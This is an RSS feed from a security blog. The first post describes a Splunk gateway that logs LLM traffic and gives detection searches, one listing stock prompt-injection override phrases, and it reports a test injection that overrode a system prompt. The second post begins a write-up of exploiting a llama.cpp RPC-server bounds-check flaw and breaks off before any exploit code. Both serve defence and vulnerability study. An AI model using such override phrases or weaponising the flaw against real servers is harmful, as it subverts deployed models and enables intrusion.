<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>pwntricks-Blog</title>
    <description>A Jekyll Blog Theme For Hackers</description>
    <link>https://www.pwntricks.com</link>
    <atom:link href="https://www.pwntricks.com/feed.xml" rel="self" type="application/rss+xml" />
    <author>
      <name>hassan ali al-khafaji casp3r0x0</name>
      <email>hathhassan@gmail.com</email>
      <uri>https://pwntricks.com/pwntricks-blog</uri>
    </author>
    
      <item>
        <title>Llmmon Monitor Any Ai Agent Using Splunk</title>
        <description>&lt;h1 id=&quot;llmmon&quot;&gt;LLMmon&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;By Hassan Alkhafaji and Rakan Adnan · June 2026&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Every organization has a security stack built around visibility: firewalls, proxies, SIEM, EDR. You know what’s crossing your network. You know what files are being opened. But the moment someone makes a call to an LLM API, that visibility disappears completely. The prompt leaves. The response arrives. Nobody logged it. Nobody reviewed it. It just… happened. that gap started keeping us up at night. So we closed it! with this Splunk app we made called &lt;strong&gt;LLMmon&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://www.pwntricks.com/assets/images/10/icon-removebg-preview.jpg&quot; /&gt;
&lt;/p&gt;

&lt;h2 id=&quot;introducing-llmmon&quot;&gt;Introducing LLMmon&lt;/h2&gt;

&lt;p&gt;No Code Changes, No Agent changes, Simple setup to monitor any AI Agent that you have.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://splunkbase.splunk.com/app/8821&quot;&gt;https://splunkbase.splunk.com/app/8821&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We built LLMmon as a Splunk app that sits between your LLM clients and your LLM providers. Every request and response passes through it. Everything gets logged into a Splunk index.&lt;/p&gt;

&lt;p&gt;The concept is simple: instead of pointing your OpenAI SDK at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://api.openai.com/v1&lt;/code&gt;, you point it at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://your-splunk-host:9000/v1&lt;/code&gt;. LLMmon receives the request, logs it, forwards it upstream, logs the response, and returns it to the caller.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;how-it-works-route-configuration&quot;&gt;How It Works: Route Configuration&lt;/h2&gt;

&lt;p&gt;The first thing you set up is a &lt;strong&gt;route&lt;/strong&gt; essentially a forwarding rule that tells LLMmon where to send traffic and with which credentials.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%201.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%202.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You click Configure Routes and you’re taken to the LLMmon route manager then add Add Route.&lt;/p&gt;

&lt;p&gt;Each route has:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A &lt;strong&gt;name&lt;/strong&gt; (just a label for your reference)&lt;/li&gt;
  &lt;li&gt;A &lt;strong&gt;provider&lt;/strong&gt; (OpenAI, Anthropic, OpenRouter, or Custom)&lt;/li&gt;
  &lt;li&gt;An &lt;strong&gt;upstream URL&lt;/strong&gt; (where to actually send the request)&lt;/li&gt;
  &lt;li&gt;An &lt;strong&gt;API key&lt;/strong&gt; (stored in Splunk, never exposed to clients)&lt;/li&gt;
  &lt;li&gt;A &lt;strong&gt;route condition&lt;/strong&gt; — either a catch-all default, or a header match for multi-provider routing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%203.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%204.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Say you want one team’s traffic going to OpenAI and another team’s traffic going to a local model. You just tell each client to include a specific header (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-Route-To: openai&lt;/code&gt;), define the matching rule in LLMmon, and the gateway handles the rest.&lt;/p&gt;

&lt;p&gt;Before traffic starts flowing, you need to tell the gateway which Splunk account to use for writing logs.&lt;/p&gt;

&lt;p&gt;Open &lt;strong&gt;Gateway Settings&lt;/strong&gt; from the app navigation, enter your Splunk username and password, and click &lt;strong&gt;Save Credentials&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%205.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Splunk’s secret store — never in the app code.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;testing-it-with-n8n&quot;&gt;Testing It With n8n&lt;/h2&gt;

&lt;p&gt;To actually validate the whole thing end-to-end, we connected n8n to LLMmon. n8n has an OpenAI Chat Model node that takes a base URL so we just pointed it at our gateway instead of OpenAI directly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%206.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%207.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The connection test passed immediately. As far as n8n is concerned, it’s talking to a standard OpenAI-compatible API. We then sent a test message through the n8n chat interface:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%208.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A classic. But what matters here is what happened behind the scenes.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-splunk-actually-captured&quot;&gt;What Splunk Actually Captured&lt;/h2&gt;

&lt;p&gt;We opened Splunk and searched &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index=&quot;llmmon_logs&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%209.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Two events. One for the request, one for the response. Let’s look at them.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%2010.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;request event&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;event_type: llm_request&lt;/code&gt;) captured:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The full request body, including the system prompt and the user message (“hi tell me a joke”)&lt;/li&gt;
  &lt;li&gt;The model being requested&lt;/li&gt;
  &lt;li&gt;The HTTP method and path&lt;/li&gt;
  &lt;li&gt;A unique request ID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;strong&gt;response event&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;event_type: llm_response&lt;/code&gt;) captured:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The full response body, including the joke text&lt;/li&gt;
  &lt;li&gt;Token counts (75 prompt tokens, 16 completion tokens, 91 total)&lt;/li&gt;
  &lt;li&gt;Response latency (7.961 seconds)&lt;/li&gt;
  &lt;li&gt;The provider and model that actually handled the request&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Everything you’d need for a security investigation sitting right there in Splunk, queryable with SPL, available to your existing alerts and correlation searches.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;what-this-unlocks-for-security-teams&quot;&gt;What This Unlocks for Security Teams&lt;/h2&gt;

&lt;p&gt;Once the data is in Splunk, your SOC can work with it like any other data source.&lt;/p&gt;

&lt;p&gt;You can build Splunk alerts. You can create correlation searches. You can tie this into your existing SIEM workflows. The data is there the hard part is done.&lt;/p&gt;

&lt;h3 id=&quot;example-catching-base64-in-prompts&quot;&gt;Example: Catching Base64 in Prompts&lt;/h3&gt;

&lt;p&gt;Let’s make this concrete. One real attack pattern is users pasting base64-encoded strings into an LLM chat and asking it to decode them a way to smuggle obfuscated content past keyword filters. We tested this exactly.&lt;/p&gt;

&lt;p&gt;We sent the message &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decode this U2VjcmV0MTIzdGVzdA==&lt;/code&gt; and other testing inputs through the n8n chat. The model decoded it and handed back the plaintext.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%2011.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now here’s where LLMmon earns its keep. Because every request is sitting in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;llmmon_logs&lt;/code&gt;, we can write a SPL search that scans all user messages for base64 patterns:&lt;/p&gt;

&lt;p&gt;spl&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=&quot;llmmon_logs&quot; event_type=&quot;llm_request&quot;
| rex field=request_body &quot;\&quot;role\\\&quot;:\\\&quot;user\\\&quot;,\\\&quot;content\\\&quot;:\\\&quot;(?P&amp;lt;message&amp;gt;[^\\\&quot;]+)\\\&quot;&quot;
| rex field=message &quot;(?P&amp;lt;base64_match&amp;gt;[A-Za-z0-9+/]{8,}={0,2})&quot;
| where isnotnull(base64_match)
| table _time request_id model message base64_match
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%2012.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Every single request where a user fed a base64 string to the model timestamped, tied to a request ID, showing exactly what was sent. Turn this into a Splunk alert and your SOC gets notified in real time whenever it happens.&lt;/p&gt;

&lt;p&gt;This is just one example. The same pattern applies to prompts containing IP addresses or internal hostnames, unusually long inputs that look like document dumps, messages matching known sensitive keywords. The data model is the same for all of them write the SPL, set the alert threshold, done.&lt;/p&gt;

&lt;h3 id=&quot;example-detecting-prompt-injection-attempts&quot;&gt;Example: Detecting Prompt Injection Attempts&lt;/h3&gt;

&lt;p&gt;Prompt injection is one of the most well-known LLM attack techniques — and one of the easiest to attempt. The idea is simple: craft a message that tries to override the model’s original instructions and make it behave in a way it wasn’t supposed to.&lt;/p&gt;

&lt;p&gt;We tested this by sending the following message through the n8n chat:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%2013.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The model responded. It didn’t matter that there was a system prompt telling it to behave the user message overrode it. That exchange is now sitting in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;llmmon_logs&lt;/code&gt;, and we can write a rule to catch it.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;index=&quot;llmmon_logs&quot; event_type=&quot;llm_request&quot;
| rex field=request_body &quot;\&quot;role\\\&quot;:\\\&quot;user\\\&quot;,\\\&quot;content\\\&quot;:\\\&quot;(?P&amp;lt;message&amp;gt;[^\\\&quot;]+)\\\&quot;&quot;
| where isnotnull(message)
| eval injection_detected=if(
    match(lower(message), &quot;ignore previous instructions&quot;) OR
    match(lower(message), &quot;ignore all instructions&quot;) OR
    match(lower(message), &quot;you are now in&quot;) OR
    match(lower(message), &quot;jailbreak&quot;) OR
    match(lower(message), &quot;developer mode&quot;) OR
    match(lower(message), &quot;DAN mode&quot;) OR
    match(lower(message), &quot;reveal your system prompt&quot;) OR
    match(lower(message), &quot;act as if you have no restrictions&quot;),
    &quot;YES&quot;, null())
| where isnotnull(injection_detected)
| table _time request_id model message injection_detected
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/10/image%2014.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;current-state-and-whats-next&quot;&gt;Current State and What’s Next&lt;/h2&gt;

&lt;p&gt;Here’s where things stand right now:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Intercepts all LLM API calls&lt;/strong&gt; — acts as a fully transparent proxy&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Token counting and usage tracking&lt;/strong&gt; — per model, per month&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Full audit log&lt;/strong&gt; — requests and responses in a single Splunk index&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Flexible routing&lt;/strong&gt; — forward traffic based on request headers, IP, or catch-all&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;installation&quot;&gt;Installation&lt;/h2&gt;

&lt;p&gt;If you want to try this yourself:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Download and install the &lt;a href=&quot;https://splunkbase.splunk.com/app/8821&quot;&gt;LLMmon&lt;/a&gt; app from Splunkbase&lt;/li&gt;
  &lt;li&gt;make sure port 9000 is opened on splunk server&lt;/li&gt;
  &lt;li&gt;Restart Splunk when prompted&lt;/li&gt;
  &lt;li&gt;Navigate to &lt;strong&gt;LLMmon Gateway&lt;/strong&gt; from the app launcher&lt;/li&gt;
  &lt;li&gt;Go to &lt;strong&gt;Routes&lt;/strong&gt; and click &lt;strong&gt;Configure Routes&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Add a route with your upstream LLM provider URL and API key and all needed configurations&lt;/li&gt;
  &lt;li&gt;Point your LLM clients at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://&amp;lt;splunk-host&amp;gt;:9000/v1&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That’s it. No code changes in your applications. The gateway handles everything. and log everything you need.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The lack of visibility into LLM traffic is a real gap, and it’s only getting bigger as AI gets wired into more workflows. LLMmon is our attempt to close that gap in a way that fits naturally into the security tooling most enterprises already have.&lt;/p&gt;

&lt;p&gt;If your organization is running Splunk and you’re starting to use LLMs at scale, this gives you a foundation to actually understand what’s happening before you have to explain it to someone else.&lt;/p&gt;

&lt;p&gt;The app is available on Splunkbase. Give it a try and let us know what you think.
&lt;a href=&quot;https://splunkbase.splunk.com/app/8821&quot;&gt;https://splunkbase.splunk.com/app/8821&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;
</description>
        <pubDate>Fri, 12 Jun 2026 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//LLMmon-Monitor-Any-Ai-Agent-Using-Splunk</link>
        <link href="https://www.pwntricks.com/LLMmon-Monitor-Any-Ai-Agent-Using-Splunk"/>
        <guid isPermaLink="true">https://www.pwntricks.com/LLMmon-Monitor-Any-Ai-Agent-Using-Splunk</guid>
      </item>
    
      <item>
        <title>Zeroclick Rce Cve 2026 34159 Llama.cpp</title>
        <description>&lt;h1 id=&quot;cve-2026-34159-exploiting-llamacpps-rpc-server---from-null-buffer-to-rce-against-pie--full-relro--nx&quot;&gt;CVE-2026-34159: Exploiting llama.cpp’s RPC Server - From Null Buffer to RCE Against PIE + Full RELRO + NX&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; @casp3r0x0x (Hassan Ali)
&lt;strong&gt;Tested on:&lt;/strong&gt; b8487
&lt;strong&gt;Date:&lt;/strong&gt; April 2026
&lt;strong&gt;CVE:&lt;/strong&gt; CVE-2026-34159
&lt;strong&gt;CVSS:&lt;/strong&gt; 9.8 (Critical)
&lt;strong&gt;Affected:&lt;/strong&gt; llama.cpp b8487 and earlier
&lt;strong&gt;Fixed:&lt;/strong&gt; PR &lt;a href=&quot;https://github.com/ggml-org/llama.cpp/pull/20908&quot;&gt;#20908&lt;/a&gt;, regression fix &lt;a href=&quot;https://github.com/ggml-org/llama.cpp/pull/21030&quot;&gt;#21030&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;em&gt;The vulnerability was discovered and fixed by the llama.cpp maintainers. I wrote this exploit independently as a 1-day exercise after the patch was published. At the time of writing, no public exploit existed for CVE-2026-34159.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;exploit-in-action-&quot;&gt;Exploit in Action :&lt;/h2&gt;

&lt;video controls=&quot;&quot; width=&quot;600&quot;&gt;
  &lt;source src=&quot;https://www.pwntricks.com/assets/images/9/POC.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;

&lt;h2 id=&quot;the-story&quot;&gt;The Story&lt;/h2&gt;

&lt;p&gt;I didn’t discover this vulnerability. It was reported and fixed by the llama.cpp maintainers in PR &lt;a href=&quot;https://github.com/ggml-org/llama.cpp/pull/20908&quot;&gt;#20908&lt;/a&gt; (merged March 23, 2026). But when I read the patch, I realized the implications went far beyond what a brief commit message could convey – and no public exploit had been published. So I wrote one.&lt;/p&gt;

&lt;p&gt;The vulnerability is a one-line logic bug in the RPC server’s tensor deserialization pipeline. By setting a single field – the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt; handle – to zero, an attacker bypasses all memory bounds checking while still injecting an arbitrary data pointer into the server process. That single oversight gives arbitrary read/write primitives across the entire address space, and from there, full Remote Code Execution.&lt;/p&gt;

&lt;p&gt;This is a 1-day exploit. The bug was already patched when I started, but the exploitation technique and the bypass are worth walking through in detail – both because it demonstrates how to chain a logic bug into full RCE against a binary protected by PIE, Full RELRO, and NX, and because it highlights a class of vulnerability that persists in many C/C++ codebases.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;understanding-the-target&quot;&gt;Understanding the Target&lt;/h2&gt;

&lt;h3 id=&quot;the-rpc-architecture&quot;&gt;The RPC Architecture&lt;/h3&gt;

&lt;p&gt;llama.cpp supports distributed LLM inference by splitting tensor computation across machines via an RPC layer. The architecture is simple:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌─────────────────────────────────────────┐
│           Client (llama-server)         │
│                                         │
│   Serializes compute graph             │
│   Packs tensors into rpc_tensor structs │
│   Sends over TCP                       │
│   Waits for result                    │
└────────────────┬────────────────────────┘
                 │ TCP (default port 50052)
                 │ Raw binary, no TLS, no auth
                 ▼
┌─────────────────────────────────────────┐
│           RPC Server (victim)           │
│                                         │
│   Receives rpc_tensor structs           │
│   deserialize_tensor() -- BUG HERE      │
│   Skips bounds check when buffer=0     │
│   Reconstructs compute graph           │
│   ggml_backend_graph_compute()         │
│   Executes attacker-controlled ops      │
└─────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The wire protocol is raw binary – 1 byte command, 8 byte length prefix, then the payload. No protobuf, no JSON, no versioning. The server listens on TCP port 50052 by default, with zero authentication, zero TLS, and zero rate limiting.&lt;/p&gt;

&lt;h3 id=&quot;the-vulnerable-struct&quot;&gt;The Vulnerable Struct&lt;/h3&gt;

&lt;p&gt;The core data structure transmitted over the wire is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rpc_tensor&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ggml/src/ggml-rpc/ggml-rpc.cpp:71&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#pragma pack(push, 1)
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rpc_tensor&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                       &lt;span class=&quot;c1&quot;&gt;//  8 bytes&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                     &lt;span class=&quot;c1&quot;&gt;//  4 bytes&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                   &lt;span class=&quot;c1&quot;&gt;//  8 bytes -- buffer handle&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GGML_MAX_DIMS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;                        &lt;span class=&quot;c1&quot;&gt;// 16 bytes -- dimensions&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GGML_MAX_DIMS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;                        &lt;span class=&quot;c1&quot;&gt;// 16 bytes -- byte strides&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;op&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                       &lt;span class=&quot;c1&quot;&gt;//  4 bytes&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;op_params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GGML_MAX_OP_PARAMS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 64 bytes&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                    &lt;span class=&quot;c1&quot;&gt;//  4 bytes&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GGML_MAX_SRC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;                        &lt;span class=&quot;c1&quot;&gt;// 80 bytes -- source tensor IDs&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;view_src&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                 &lt;span class=&quot;c1&quot;&gt;//  8 bytes&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;view_offs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                &lt;span class=&quot;c1&quot;&gt;//  8 bytes&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;                                     &lt;span class=&quot;c1&quot;&gt;//  8 bytes -- DATA POINTER&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;     &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GGML_MAX_NAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;                      &lt;span class=&quot;c1&quot;&gt;// 64 bytes&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;     &lt;span class=&quot;n&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;                               &lt;span class=&quot;c1&quot;&gt;//  4 bytes&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;                                                      &lt;span class=&quot;c1&quot;&gt;// 296 bytes total&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#pragma pack(pop)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Two fields matter: &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;buffer&lt;/code&gt;&lt;/strong&gt; (a handle the server looks up in its internal set) and &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt;&lt;/strong&gt; (a raw virtual address assigned to the tensor).&lt;/p&gt;

&lt;h3 id=&quot;the-bug&quot;&gt;The Bug&lt;/h3&gt;

&lt;p&gt;Here’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deserialize_tensor()&lt;/code&gt; – the function that processes every incoming tensor:&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ggml/src/ggml-rpc/ggml-rpc.cpp:1158&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;ggml_tensor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rpc_server&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;deserialize_tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ggml_context&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                                              &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rpc_tensor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// [1] Type validation&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GGML_TYPE_COUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;nullptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
